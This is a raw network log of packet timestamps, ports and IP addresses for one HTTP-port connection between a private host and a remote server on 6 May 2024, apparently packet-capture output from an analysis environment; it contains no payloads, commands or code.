May 6, 2024 02:53:01.016089916 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.016366005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.016423941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.016441107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.016484022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.017041922 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.017096043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.021301031 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.021363020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.040636063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.040726900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.040729046 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.040770054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.041408062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.041455984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.041527033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.041573048 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.046860933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.046922922 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.058176041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.058190107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.058275938 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.058368921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.058434010 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.058526993 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.058587074 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.063782930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.063863039 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.082931042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.082943916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.083053112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.083705902 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.083719015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.083796978 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.088967085 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.089073896 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.100388050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.100506067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.100512028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.100616932 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.100784063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.100867987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.100999117 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.101088047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.105828047 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.105916023 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.125698090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.125792027 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.125801086 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.125850916 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.126008987 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.126023054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.126058102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.126077890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.143465042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.143524885 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.143656015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.143699884 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.143754005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.143798113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.143810987 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.143855095 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.144556046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.144570112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.144594908 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.144601107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.144617081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.144637108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.168030977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.168093920 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.168126106 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.168169022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.168320894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.168356895 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.168422937 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.168464899 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.174305916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.174364090 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.185564995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.185578108 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.185678005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.185745955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.185796022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.185837984 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.185878992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.186361074 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.186412096 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.186706066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.186750889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.192027092 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.192074060 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.210222006 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.210308075 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.210385084 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.210428953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.210506916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.210540056 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.210552931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.210592985 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.215857983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.215914011 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.227500916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.227560997 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.227755070 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.227807045 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.227879047 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.227921963 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.227965117 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.228009939 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.229254961 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.229316950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.229399920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.229413986 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.229444981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.229465961 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.234179974 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.234230042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.252603054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.252615929 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.252648115 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.252661943 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.252726078 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.252769947 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.253031015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.253067970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.258989096 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.259044886 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.269824028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.269862890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.269886971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.269922972 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.270060062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.270097017 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.270385981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.270425081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.270839930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.270884991 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.271203995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.271245003 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.275403976 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.275464058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.294596910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.294629097 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.294640064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.294667006 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.294917107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.294954062 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.295021057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.295061111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.300225019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.300270081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.311943054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.311991930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.312155008 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.312167883 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.312201977 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.312216997 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.312356949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.312402964 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.312736034 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.312783957 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.313055038 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.313101053 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.322154999 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.322168112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.322204113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.322216988 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.322350979 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.322396994 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.336597919 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.336666107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.336679935 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.336709976 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.337188005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.337238073 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.337263107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.337277889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.342622042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.342673063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.354346037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.354360104 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.354449034 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.354899883 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.354912043 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.354973078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.360001087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.360054970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.364496946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.364552975 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.364638090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.364677906 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.364679098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.364715099 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.364836931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.364881992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.365569115 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.365607977 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.379019022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.379051924 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.379096985 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.379111052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.379209042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.379223108 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.379247904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.379265070 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.385965109 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.386025906 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.397602081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.397655010 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.397835970 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.397847891 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.397872925 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.397891998 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.398130894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.398168087 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.403409958 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.403465033 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.406347990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.406400919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.406464100 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.406502008 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.406733990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.406775951 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.406836033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.406872034 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.421082973 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.421116114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.421153069 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.421168089 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.421289921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.421331882 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.421643019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.421690941 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.427747965 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.427831888 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.439929962 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.439943075 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.439996004 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.440445900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.440459013 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.440489054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.440514088 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.445137024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.445214033 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.451483011 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.451543093 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.451651096 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.451663971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.451674938 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.451699018 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.451734066 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.452693939 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.452737093 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.463660955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.463671923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.463732958 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.463887930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.463934898 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.464329958 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.464370966 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.469904900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.469960928 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.482254982 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.482265949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.482302904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.482321024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.482357979 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.482693911 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.482736111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.482791901 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.482830048 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.487045050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.487101078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.493750095 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.493819952 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.493835926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.493846893 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.493874073 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.493887901 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.493962049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.494004011 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.494029045 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.494066954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.505687952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.505760908 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.505801916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.505841017 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.506206036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.506244898 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.506306887 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.506345034 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.506577015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.506613016 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.512238979 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.512294054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.526211023 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.526299953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.526499033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.526511908 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.526537895 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.526556969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.526705980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.526740074 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.529580116 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.529634953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.536046982 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.536108971 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.536262035 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.536300898 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.536334991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.536354065 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.536372900 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.536389112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.548315048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.548346996 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.548398972 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.548398972 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.548516989 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.548553944 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.548875093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.548916101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.554176092 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.554228067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.569360971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.569437027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.569552898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.569590092 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.569658041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.569670916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.569698095 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.569722891 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.571480036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.571532011 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.620996952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.621126890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.624217987 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.624275923 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.633845091 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.633863926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.633896112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.633918047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.633965969 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634004116 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634063005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634077072 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634089947 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.634099960 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.634108067 CEST	80	49718	31.41.44.147	192.168.2.6
